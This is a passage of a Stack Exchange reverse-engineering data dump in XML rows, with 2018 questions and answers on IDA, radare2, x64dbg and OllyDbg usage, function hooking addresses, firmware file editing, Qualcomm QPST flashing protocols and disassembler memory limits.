  <row Id="17876" PostTypeId="2" ParentId="17601" CreationDate="2018-04-02T21:19:41.543" Score="2" Body="&lt;p&gt;Yes, this looks like 8051 firmware.&lt;/p&gt;&#xA;&lt;p&gt;Reset entry point is 0x0000, which in this case jumps to 0x0788, which continues with valid 8051 code. There are many calls to addresses above 0x4000, so you probably are missing ROM code.&lt;/p&gt;&#xA;&lt;p&gt;In my experience, the automatic analysis functionality of radare2 (&lt;code&gt;aa&lt;/code&gt;, &lt;code&gt;aaa&lt;/code&gt;) struggles a lot with 8051. I usually only run &lt;code&gt;aar&lt;/code&gt; to get all cross references and then manually markup the code as I go along.&lt;/p&gt;&#xA;&lt;p&gt;I also configure &lt;code&gt;e asm.jmpsub=true&lt;/code&gt; for better 8051 disassembly (once you started assigning flags).&lt;/p&gt;&#xA;&lt;p&gt;See this page for more information about using radare2 to reverse 8051:&#xA;&lt;a href=&quot;https://github.com/radareorg/radare2-book/blob/master/src/arch/8051.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radareorg/radare2-book/blob/master/src/arch/8051.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23360" LastEditorUserId="30088" LastEditDate="2022-06-04T17:42:06.347" LastActivityDate="2022-06-04T17:42:06.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17877" PostTypeId="2" ParentId="17874" CreationDate="2018-04-03T08:09:42.570" Score="10" Body="&lt;p&gt;You can find this out by first running the program to the entry point to skip all of the boilerplate code, then go to the Symbols tab in x64Dbg, going to User32.dll and then filtering for the &lt;code&gt;MessageBox&lt;/code&gt; functions. Place breakpoints on any functions with &lt;code&gt;MessageBox&lt;/code&gt; in them and then run the program. Now, when MessageBox is called, the program will break and you can see where execution is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can trace the caller by going to your CPU tab and right-clicking in there, now go to &lt;strong&gt;Search For -&gt; All Modules -&gt; Intermodules References&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you will see a bunch of function calls and at the bottom is a box where you can enter a filter term. Type in &lt;code&gt;MessageBox&lt;/code&gt; and you will see where the program calls &lt;code&gt;MessageBox&lt;/code&gt; and you can then double-click to jump there or right click for more options, place a breakpoint, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached an example using &lt;code&gt;printf&lt;/code&gt; but in your case, you will use &lt;code&gt;MessageBox&lt;/code&gt;. Note, this will only be correct if the MessageBox function is the function being used to display the message. If there is another library imported, it could be another function but the process is still similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/w8uVm.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w8uVm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2018-04-03T08:09:42.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17878" PostTypeId="2" ParentId="17872" CreationDate="2018-04-03T08:24:16.367" Score="4" Body="&lt;p&gt;Yes it's a common thing for IDA to fail to detect the arguments number if they are passed through the registers. It often happens for fastcall convention, because it's hard to track registers and determine if it was a temporary value or an argument. So it's up to you to help IDA and specify the correct function definition. Or if you're skilled enough, you may try to implement a plugin for IDA which will extend autoanalysis feature.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-03T08:24:16.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17879" PostTypeId="2" ParentId="8946" CreationDate="2018-04-03T08:35:12.833" Score="1" Body="&lt;p&gt;There are two separate issue:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;in order for IDA to show the disassembly for some new format it must have a loader plugin which understands the file format and provides IDA with information on how the data and code should be loaded from it. And there must be a processor module which will know how to dissemble the data loaded by loader plugin. Otherwise IDA will load the file as binary and that's it.&lt;/li&gt;&#xA;&lt;li&gt;even if you have loader + processor module, this doesn't mean you can debug it. You need a debugger module which will know how to load the initial binary file into device and the through some communication will run it step by step in the remote debugger.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Nintendo 3DS is ARM11, so there's a processor module in IDA. As for loader you'll have to search if somebody made one or implement it yourself. As for 3DS debugger plugin for IDA, I highly doubt it exists.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-03T08:35:12.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17880" PostTypeId="2" ParentId="17872" CreationDate="2018-04-03T09:45:15.707" Score="5" Body="&lt;p&gt;Thanks @anton-kukoba for the tip. I've resolved my issue and here is my procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click on the &lt;code&gt;PathAllocComnbine()&lt;/code&gt; function in pseudocode mode and choose &quot;Set Item Type&quot;. Then add the function as follows (remove all the SAL and variable names): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HRESULT PathAllocCombine(PCWSTR, PCWSTR, unsigned long, PWSTR*);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the pseudocode becomes as follows which contains four parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_QWORD *__fastcall sub_180040994(_QWORD *a1, __int64 a2, __int64 a3)&#xA;{&#xA;  _QWORD *v3; // rbx&#xA;  HRESULT v4; // eax&#xA;  void *retaddr; // [rsp+38h] [rbp+0h]&#xA;&#xA;  v3 = a1;&#xA;  *a1 = 0i64;&#xA;  v4 = PathAllocCombine((PCWSTR)a2, (PCWSTR)a3, 1u, (PWSTR *)a1);&#xA;  if ( v4 &amp;lt; 0 )&#xA;  {&#xA;    sub_18000A7A4(retaddr, 106i64, &quot;unknown.cpp&quot;, (unsigned int)v4);&#xA;    JUMPOUT(*(_QWORD *)&amp;amp;byte_1800409F9);&#xA;  }&#xA;  return v3;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-04-03T09:45:15.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17881" PostTypeId="1" CreationDate="2018-04-03T12:28:23.247" Score="2" ViewCount="1093" Body="&lt;p&gt;I want to call a function in a program. I do this from a DLL entry point. I opened the program in IDA together with its .pdb file. This is what the function looks like according to IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __fastcall Logger::log(LogLevel lvl, const char *msg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(LogLevel is just an enum)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameters are obvious and not the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is that I propably have the wrong address of it (I assume I need to get the address of the class first?) IDA gave me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00000001400981A0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the function.&#xA;This is what I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpReserved) {&#xA;  if (dwReason == DLL_PROCESS_ATTACH) {&#xA;    typedef void __fastcall func(int lvl, const char* msg);&#xA;    func* loggerLog = (func*)(GetModuleHandle(0) + 0x1400981A0);&#xA;    loggerLog(0, &quot;test 123&quot;);&#xA;  }&#xA;  return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing this the program just closes, no error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where to start. What is the correct way and address? How would I get the address I need?&lt;/p&gt;&#xA;" OwnerUserId="23857" LastActivityDate="2018-06-03T15:08:21.057" Title="Hooking function with C++, IDA and .pdb file" Tags="|ida|c++|function-hooking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17882" PostTypeId="1" CreationDate="2018-04-03T17:56:40.173" Score="1" ViewCount="2402" Body="&lt;p&gt;In &lt;code&gt;gdb&lt;/code&gt; I can easily do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) call function(arg) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what is the equivalent in &lt;code&gt;r2&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &lt;code&gt;call&lt;/code&gt; function in debug session so this doesn't work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048795] call sym.func&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inject opcode also didn't work as I tried this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048795] dx call syn.func&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15330" LastActivityDate="2018-04-03T19:06:52.090" Title="How can I call a function in radare2 debug session?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17883" PostTypeId="2" ParentId="17882" CreationDate="2018-04-03T19:06:52.090" Score="2" Body="&lt;p&gt;radare2 is not a source code debugger so you might see some things that are missing in comparison to what you got in GDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature is not implemented in radare2 and I'm not sure will be. Anyway, you can point &lt;code&gt;eip&lt;/code&gt; to the function you want to execute by using &lt;code&gt;dr eip=0x...&lt;/code&gt; but you'll have a hard time with passing arguments through the stack (although it is possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;a href=&quot;http://r2wiki.readthedocs.io/en/latest/options/d/dx/&quot; rel=&quot;nofollow noreferrer&quot;&gt;check&lt;/a&gt; &lt;code&gt;dx?&lt;/code&gt; to see examples of how &lt;code&gt;dx&lt;/code&gt; should be executed. Check &lt;code&gt;gs&lt;/code&gt; as well to execute syscalls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can use radare2 with gdbserver/gdb so you better &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/debugger/remote_gdb.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;check this out&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/debugger/migration.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is&lt;/a&gt; a good place to read about migrating from GDB to radare2.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-03T19:06:52.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17884" PostTypeId="1" CreationDate="2018-04-04T00:45:16.617" Score="1" ViewCount="183" Body="&lt;p&gt;Has anyone written an IDA disassembler module for&#xA;IBM 360/370/390 or higher processors? Would like&#xA;to examine one even though i cannot afford IDA Pro.&lt;/p&gt;&#xA;" OwnerUserId="4069" LastActivityDate="2018-04-04T13:28:54.283" Title="Is there an IDA disassembler module for IBM 360/370/390?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17887" PostTypeId="1" CreationDate="2018-04-04T07:01:46.980" Score="1" ViewCount="176" Body="&lt;p&gt;I have intelhex file to arm 32 bits thumb 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want edit this file add/ change instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for easy and free tool (prefer gui windows tool ) to do it please.&lt;/p&gt;&#xA;" OwnerUserId="23647" LastEditorUserId="23647" LastEditDate="2018-04-04T07:17:16.527" LastActivityDate="2023-04-01T13:02:25.307" Title="Edit arm thumb2 intelhex file" Tags="|arm|patching|binary-editing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17888" PostTypeId="1" CreationDate="2018-04-04T08:01:46.150" Score="0" ViewCount="1024" Body="&lt;p&gt;I am trying to find where a specific string literal is used in a compiled program. I have already found the location of this string literal within the executable; I want to somehow deduce what the memory address of this string will be at runtime, so I can search the binary file for this address to find the instruction that references the string. How should I proceed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a Windows x64 AMD architecture. The executable in question is also 64-bit.&lt;/p&gt;&#xA;" OwnerUserId="23869" LastEditorUserId="23869" LastEditDate="2018-04-05T21:43:53.203" LastActivityDate="2018-04-05T21:43:53.203" Title="How to obtain memory address of string literal?" Tags="|windows|binary-analysis|amd64|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17889" PostTypeId="1" CreationDate="2018-04-04T09:23:13.613" Score="1" ViewCount="1646" Body="&lt;p&gt;I'd like to patch an app to avoid it to use/create a specific mutex, because this one prevents the app from running in multiple instances. I'm already able to close the mutex's handle with a program called Process Explorer, but I'd like to not do it every time...&lt;/p&gt;&#xA;&lt;p&gt;Have you any idea to help me? I'm really new to mutex, semaphores, and stuff like this, and I have no idea how I can erase it from the app.&lt;/p&gt;&#xA;" OwnerUserId="23595" LastEditorUserId="245" LastEditDate="2020-07-03T07:59:34.150" LastActivityDate="2020-07-03T07:59:34.150" Title="Remove a mutex on windows (with debugger/disassembler)" Tags="|windows|patching|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17891" PostTypeId="2" ParentId="16692" CreationDate="2018-04-04T10:04:21.360" Score="2" Body="&lt;p&gt;As the application is written in Delphi I would recommend to run the binary through IDR (Interactive Delphi Recorder). This tools has a better understanding of Delphi and VCL internals and can then produce and .idc file that you can load into Ida Pro. You'll have (mostly) correct function and symbol naming which makes reading the code much easier. Then execute up to to the messagebox and check the call stack to see where you came from. Possibly check might be IP adress, domain name, computername (does it follow some naming convention) etc.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2018-04-04T10:04:21.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17892" PostTypeId="1" AcceptedAnswerId="17902" CreationDate="2018-04-04T10:29:39.507" Score="2" ViewCount="2438" Body="&lt;p&gt;How does Qualcomm's QPST work? Or what protocol/commands does QPST use? As I wanted to develop an app like it, I searched for AT commands. But I can't find out any AT commands that allows me access(read/write) my old phone's internal file system(firmware). Any helps like the name of the commands/protocols that QPST uses are appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if my question is off-topic, where should I ask? &lt;/p&gt;&#xA;" OwnerUserId="23870" LastEditorUserId="1842" LastEditDate="2018-04-07T06:16:56.360" LastActivityDate="2019-05-31T07:19:44.850" Title="How does QPST work and how can I make an app like it?" Tags="|firmware|embedded|kernel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17893" PostTypeId="1" AcceptedAnswerId="17895" CreationDate="2018-04-04T10:57:16.477" Score="0" ViewCount="1963" Body="&lt;p&gt;Here is an example of a subroutine as pseudocode in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HRESULT __stdcall func(PCWSTR name, PCWSTR command, BOOL folder, DWORD *pCode) {&#xA;  _OWORD *v4;&#xA;  __int128 v5, v12, v13;&#xA;  __int64 v6;&#xA;  HRESULT v11;&#xA;  DWORD **v14;&#xA;  PCWSTR v16, v17; BOOL v18; DWORD *v19;&#xA;&#xA;  v19 = pCode; v18 = folder; v17 = command; v16 = name;&#xA;  v11 = 0x80004005;&#xA;  *(_QWORD *)&amp;amp;v12 = &amp;amp;v11;&#xA;  *((_QWORD *)&amp;amp;v12 + 1) = &amp;amp;v16;&#xA;  *(_QWORD *)&amp;amp;v13 = &amp;amp;v17;&#xA;  *((_QWORD *)&amp;amp;v13 + 1) = &amp;amp;v18;&#xA;  v14 = &amp;amp;v19;&#xA;  v4 = (_OWORD *)sub_1800050B4(40i64); //contains malloc&#xA;  if ( v4 ) {&#xA;    v5 = v13;&#xA;    *v4 = v12;&#xA;    v6 = (__int64)v14;&#xA;    v4[1] = v5;&#xA;    *((_QWORD *)v4 + 4) = v6;&#xA;  }&#xA;  function(v4);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is easy to understand the pointer offsets with &lt;code&gt;v12&lt;/code&gt; and &lt;code&gt;v13&lt;/code&gt;. But some subroutines have many more variables which is not easy to follow. So can I convert that pointer offsets to an array? And why IDA shows so many local variables?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-04-04T12:50:51.597" Title="How to convert pointer and offsets to array in IDA?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17894" PostTypeId="2" ParentId="17888" CreationDate="2018-04-04T12:02:05.513" Score="0" Body="&lt;p&gt;Search for all string references and you should be able to find your string and go to the instruction referencing it from there.&lt;/p&gt;&#xA;" OwnerUserId="23595" LastActivityDate="2018-04-04T12:02:05.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17895" PostTypeId="2" ParentId="17893" CreationDate="2018-04-04T12:50:51.597" Score="1" Body="&lt;p&gt;IDA deals with optimized assembler generated by the compiler. In this case compiler definitely combined several values into 128-bit registers and several stack locations. IDA doesn't know what it was initially, it can only guess. So it uses the stack locations and registers as if they are the variables in the source code. To understand it better you should read about 'Stack Frame'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for making the array, you should change the type of v12 variable to &lt;strong&gt;void * [4]&lt;/strong&gt;. This is done via selecting v12 and pressing Y.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-04T12:50:51.597" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17896" PostTypeId="2" ParentId="17892" CreationDate="2018-04-04T12:55:53.823" Score="3" Body="&lt;p&gt;Use the sniffer for the communication channel it uses (most likely USB) to see which data is sent to your device. Try to search for the constants you see in the sniffer to find which binary may be responsible for generating the data sent to the device. Disassemble the binary, find the exact code piece responsible for protocol processing, decompile it manually. After having this knowledge, write your own code.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-04T12:55:53.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17897" PostTypeId="2" ParentId="17889" CreationDate="2018-04-04T13:01:00.763" Score="1" Body="&lt;p&gt;You need to find the code which creates the mutex. I.e. the call to CreateMutex/OpenMutex API function. And then patch it by overwriting the opcodes.&#xA;So you'll need to learn how to disassemble and how to patch the code of the executable. If it's new for you, you should try from some crackme tutorial, which will teach you to do this.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-04T13:01:00.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17898" PostTypeId="2" ParentId="17887" CreationDate="2018-04-04T13:05:45.107" Score="1" Body="&lt;p&gt;Convert from hex to bin, patch it, then convert it back. The main issue is that in HEX format there will be the base address, and you need to specify it when converting back.&lt;/p&gt;&#xA;&lt;p&gt;Don't know any GUI tool, here's а console one: &lt;a href=&quot;http://hex2bin.sourceforge.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex2bin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="37138" LastEditDate="2021-11-07T10:02:47.553" LastActivityDate="2021-11-07T10:02:47.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17899" PostTypeId="2" ParentId="17884" CreationDate="2018-04-04T13:28:54.283" Score="1" Body="&lt;p&gt;Nope. This sounds like archeology work :) Nevertheless, such module could be implemented in a week if you know how to use IDA SDK and the instruction set of IBM 360.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-04T13:28:54.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17900" PostTypeId="2" ParentId="17881" CreationDate="2018-04-04T13:36:16.170" Score="1" Body="&lt;p&gt;0x1400981A0 - this was a wrong valuee to add. Most likely you need to use GetModuleHandle(0) + 0x981A0. Because GetModuleHandle(0) will give you the base address like 0x140000000.&#xA;I.e. IDA shows you the virtual address to which DLL would be loaded if OS has the address available. In other cases you need to know RVA (relative virtual address), so that you calculate the address of the function like RVA + virtual address to which OS loaded the DLL.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-04T13:36:16.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17901" PostTypeId="2" ParentId="17888" CreationDate="2018-04-04T23:30:09.707" Score="1" Body="&lt;p&gt;You can use the OllyDbg software (&lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ollydbg.de/&lt;/a&gt;). This software is for debug and dissasembler binary programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of feature is search all referenced string, you can see this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gat5Y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gat5Y.png&quot; alt=&quot;OllyDbg search all referenced strings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the next window, you can see all strings with an address. Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RhLm8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RhLm8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23512" LastActivityDate="2018-04-04T23:30:09.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17902" PostTypeId="2" ParentId="17892" CreationDate="2018-04-05T06:30:33.373" Score="5" Body="&lt;p&gt;There is an open source project: &lt;a href=&quot;https://github.com/openpst/openpst&quot; rel=&quot;nofollow noreferrer&quot;&gt;openpst&lt;/a&gt;, which reimplements most functionality of the qpst tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the protocols used are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/openpst/libopenpst/tree/master/include/qualcomm/dm.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;diag&lt;/a&gt; - used to read nv memory, and switch to dload mode using &lt;code&gt;kDiagDload&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/openpst/libopenpst/tree/master/include/qualcomm/sahara.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;sahara&lt;/a&gt; - used by the primary bootloader in newer qualcomm chipsets&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/openpst/libopenpst/tree/master/include/qualcomm/dload.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;dload&lt;/a&gt;, used by bootroms, and older chipsets.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/openpst/libopenpst/tree/master/include/qualcomm/streaming_dload.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;streaming dload&lt;/a&gt; - used by the flash loader.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/binsys/emmcdl/blob/master/src/firehose.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;firehose&lt;/a&gt; - the xml style protocol used with &lt;code&gt;rawprogram0.xml&lt;/code&gt; files.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Flashing usually works like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;switch to dload mode, this will start the bootloader.&lt;/li&gt;&#xA;&lt;li&gt;upload the &lt;code&gt;NPRG*.{hex,mbn}&lt;/code&gt; flash loader using the sahara protocol&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;code&gt;ENPRG*&lt;/code&gt; file is used for the emergency bootloader mode, launched when the bootrom cannot find a suitable primary bootloader in flash.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;now talking to the &lt;code&gt;NPRG&lt;/code&gt; loader, using the streaming dload protocol, upload and write binaries to flash.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that some manufacturers lock the bootrom, by fusing a specific certificate into the processor's One-time-programmable fuses. When this is the case, the bootrom will accept only specific binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A collection of suitable binaries can be found &lt;a href=&quot;https://github.com/openpst/assets/tree/master/programmers&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2019-05-31T07:19:44.850" LastActivityDate="2019-05-31T07:19:44.850" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17904" PostTypeId="2" ParentId="17862" CreationDate="2018-04-05T08:47:04.420" Score="1" Body="&lt;p&gt;After converting the HEX to 0 and 1, trying to look for a pattern, I think that it's not a coded date but a variation on number of days from a base date.&#xA;I found two abnormalities - (Jul 4 2001, 03 5E 7B and Dec 24 2001, 03 55 76) and (Jul 4 2014, 05 0E 7E and Jul 5 2014, 05 0E 03) where the later date has a smaller hex value, which lead me to wonder if there are more dates so we can try to understand this pattern.&lt;/p&gt;&#xA;" OwnerUserId="23877" LastActivityDate="2018-04-05T08:47:04.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17905" PostTypeId="2" ParentId="17788" CreationDate="2018-04-05T09:41:33.807" Score="2" Body="&lt;p&gt;Windasm32 is a very old 32-bit program and is probably running out of the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366912&quot; rel=&quot;nofollow noreferrer&quot;&gt;2GB virtual memory space&lt;/a&gt; allocated for it by Windows (you should be able to confirm it using a tool such as &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/vmmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMMap&lt;/a&gt;).  One possible workaround could be to set the &lt;code&gt;IMAGE_FILE_LARGE_ADDRESS_AWARE&lt;/code&gt; flag in the PE Header which would give it an additional 1GB of address space, e.g using &lt;code&gt;editbin&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;editbin /LARGEADDRESSAWARE  windasm32.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this may lead to bugs and/or crashes if the program is not prepared to handle addresses above &lt;code&gt;0x80000000&lt;/code&gt;. And it may still not be enough for the program you're trying to disassemble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would strongly suggest using another, more modern disassembler instead that can handle big files. If you can't find the functionality you need, ask a new question about it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-05T09:41:33.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17906" PostTypeId="2" ParentId="17873" CreationDate="2018-04-05T12:36:37.757" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;to know that, it's better to look at assembler, not pseudocode. If there's an argument passed to sub_428258 through ECX, most likely yes, this should be a method of some class.&lt;/li&gt;&#xA;&lt;li&gt;maybe error code, which should be returned by the function. I.e. current function definition might be wrong. Can't tell without seeing the assembler.&lt;/li&gt;&#xA;&lt;li&gt;seems like it's accessing to some member of the class, pointer to which is stored in a1, so I suppose it's something in ATLString.&lt;/li&gt;&#xA;&lt;li&gt;if I understand it correct, those long names - are imported functions, so IDA just demangles and shows the names as is. You may only rename them manually.&lt;/li&gt;&#xA;&lt;li&gt;Yes, it would help you with 3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-05T12:36:37.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17907" PostTypeId="2" ParentId="17788" CreationDate="2018-04-05T13:01:01.050" Score="2" Body="&lt;p&gt;Try this. In the menu, click:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Disassembler -&amp;gt; Disassembler Options -&amp;gt; Enable extended memory&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://exelab.ru/f.../index.php?action=vthread&amp;amp;forum=3&amp;amp;topic=13893&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source&lt;/a&gt; (first post, translated to English)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;W32Dasm893 Fix&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Removed the restriction of the disassembler to the number of lines of code  that leads to messages:  &amp;quot;W32Dasm could only allocate enough&#xA;memory to process XXXXXX lines of Text ...&amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-04-05T13:01:01.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
